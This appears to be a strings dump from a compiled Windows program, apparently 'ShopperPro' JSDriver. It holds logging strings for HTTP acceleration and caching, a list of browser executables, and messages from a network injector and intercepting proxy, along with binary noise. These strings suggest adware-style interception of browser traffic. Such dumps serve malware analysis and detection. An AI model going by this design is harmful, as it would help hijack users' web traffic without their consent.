[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: LoadConfig: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

Windows NT 6.1

%s?e=%s

zvl=%s&

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Content-Type: multipart/form-data; boundary=%s

HTTP/1.1

XXX

Software\Microsoft\Windows\CurrentVersion\Internet Settings

%s\%s

C:\Builds\Build_ShopperProMulti\JSDriver\1.42.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpSendRequestExA

HttpEndRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttpAsync@@

.?AVCHttp@@

1.0.1.5

3.1.9466.1835

%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

2 2(2.242|2

6m6I6

2/2X2

4-626}6

6o6X6

7|7

263X3i3

4(4-424x4}4

:4;8;<;@;

0%0X2c2v2

6-676B6L6W6e6s6}6

4]5

5$5)5.5&787

7&7,7.838{8

4!5'535?5

;(<,<0<4<8<<<

.03080=0

80959:9?9

20353"4.5

7'8,8-;2;

01U132L2

0%0s0

<$= =4=@=

?%?.?8?[?{?

0 0$0(0,0

0,1014181<1@1

1$1(1,1014181<1@1

2(2/24282<2]2

2&3,3034383

3'4,414`5

2(3-3?3|5

22272<2|2

:$<(<,<0<4<

1 1$1(1,1

>&? ?0?8?

2-22272<2

3&3<3V5F5X5

3L4

(0,0004080<0@0

4 4$4(4,404

7 7$7(7,7074787

2 2$2(2,2024282|2

; ;$;(;,;0;4;8;

0 0$0(0,00040

2 2$2(2,2024282

= =$=(=,=0=4=8=<=@=

1 1(141\1

2$2,282\2|2

<$<,<8<\<|<

: :(:4:\:

= =0=<=`=

4$4,484\4|4

;$;,;8;\;|;

0(000<0`0

2 2$2(2,2024282`2

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

Gstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

Gstd::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

